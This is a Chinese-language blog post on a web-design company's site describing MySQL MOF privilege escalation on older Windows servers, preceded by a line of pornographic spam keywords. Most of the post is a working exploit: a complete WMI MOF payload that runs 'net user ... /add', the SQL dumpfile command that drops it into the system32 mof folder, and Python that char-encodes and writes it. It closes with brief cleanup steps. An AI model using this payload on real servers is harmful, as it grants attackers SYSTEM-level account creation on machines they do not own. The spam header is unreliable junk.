真实的国产乱ⅩXXX66竹夫人,五月香六月婷婷激情综合,亚洲日本VA一区二区三区,亚洲精品一区二区三区麻豆

成都創(chuàng)新互聯(lián)網站制作重慶分公司

關于mysqlmof提權研究

無意中看到有關MySQL的這種提權方式,趁著有空余時間便研究了起來,發(fā)現(xiàn)網上有挺多地方寫的不夠詳細的,研究的時候也卡殼了一段時間。

創(chuàng)新互聯(lián)建站網絡公司擁有10多年的成都網站開發(fā)建設經驗,上1000家客戶的共同信賴。提供網站設計制作、成都做網站、網站開發(fā)、網站定制、買鏈接、建網站、網站搭建、響應式網站開發(fā)、網頁設計師打造企業(yè)風格,提供周到的售前咨詢和貼心的售后服務

利用前提:

  1. 操作系統(tǒng)為windows

  2. 操作系統(tǒng)版本不宜太高,2008測試不通過,2003可(因為需要訪問到system32中目錄)或說mysql啟動身份具有權限去訪問和寫入c:/windows/system32/mof目錄

  3. 數據庫為mysql且知道m(xù)ysql登錄賬號密碼和允許外連(或存在sql注入或webshell中操作,未實踐)

先簡單介紹一下原理(摘自網上和個人實踐后得出)

放置在c:/windows/system32/mof目錄下的nullevt.mof文件每個五秒鐘會被自動執(zhí)行并且消失,如果后續(xù)沒有創(chuàng)建新的該文件,那么每五秒會循環(huán)執(zhí)行之前的nullevt.mof中內容,那么只需要將惡意代碼寫入該文件中即可。

網上已公開nullevt.mof中的利用代碼

#pragma namespace(“\\\\.\\root\\subscription”)
instance of __EventFilter as $EventFilter
{
EventNamespace = “Root\\Cimv2”;
Name = “filtP2”;
Query = “Select * From __InstanceModificationEvent “
“Where TargetInstance Isa \”Win32_LocalTime\” “
“And TargetInstance.Second = 5”;
QueryLanguage = “WQL”;
};
instance of ActiveScriptEventConsumer as $Consumer
{
Name = “consPCSV2”;
ScriptingEngine = “JScript”;
ScriptText =
“var WSH = new ActiveXObject(\”WScript.Shell\”)\nWSH.run(\”net.exe user xxx xxx /add\”)“;
};
instance of __FilterToConsumerBinding
{
Consumer = $Consumer;
Filter = $EventFilter;
};

常規(guī)利用過程步驟如下:

  1. 上傳該文件到服務器上任意位置,名字任意

  2. 通過mysql語句 select load_file(上傳的文件路徑) into dumpfile 'c:/windows/system32/mof/nullevt.mof'

即可,如果成功上傳,經過一段時間后,里面嵌入的代碼會被執(zhí)行

個人覺得要上傳文件顯得過于麻煩,能不能直接select 'xxxxx' into,經過嘗試,要將該內容進行轉碼后再查詢即可,提供部分py代碼作為演示

使用mysql中char函數解決

payload = r'''
#pragma namespace("\\\\.\\root\\subscription")
instance of __EventFilter as $EventFilter
 {
 EventNamespace = "Root\\Cimv2";
 Name = "filtP2";
 Query = "Select * From __InstanceModificationEvent "
 "Where TargetInstance Isa \"Win32_LocalTime\" "
 "And TargetInstance.Second = 5";
 QueryLanguage = "WQL";
 };

instance of ActiveScriptEventConsumer as $Consumer
 {
 Name = "consPCSV2";
 ScriptingEngine = "JScript";
 ScriptText =
 "var WSH = new ActiveXObject(\"WScript.Shell\")\nWSH.run(\"net.exe user xxxx xxx /add\")";
 };

instance of __FilterToConsumerBinding
 {
 Consumer = $Consumer;
 Filter = $EventFilter;
 };
'''

ascii_payload = ''

for each_chr in payload:
    ascii_payload += str(ord(each_chr)) + ','

ascii_payload = ascii_payload[:-1]

cur = conn.cursor()
sql = "select char(%s) into dumpfile 'c:/windows/system32/wbem/mof/nullevt.mof'" % ascii_payload
cur.execute(sql)

由于mof是由system執(zhí)行,所以權限滿足創(chuàng)建用戶、添加管理員等操作,即可完成提權過程。

如果服務器發(fā)現(xiàn)被使用mof提權,該如何解決循環(huán)創(chuàng)建用戶?

打開cmd使用以下命令

net stop winmgmt

刪除文件夾下內容 c:/windows/system32/wbem/repository

net start winmgmt

即可

錯誤之處,敬請指正


網站標題:關于mysqlmof提權研究
URL網址:http://weahome.cn/article/pohoij.html

其他資訊

在線咨詢

微信咨詢

電話咨詢

028-86922220(工作日)

18980820575(7×24)

提交需求

返回頂部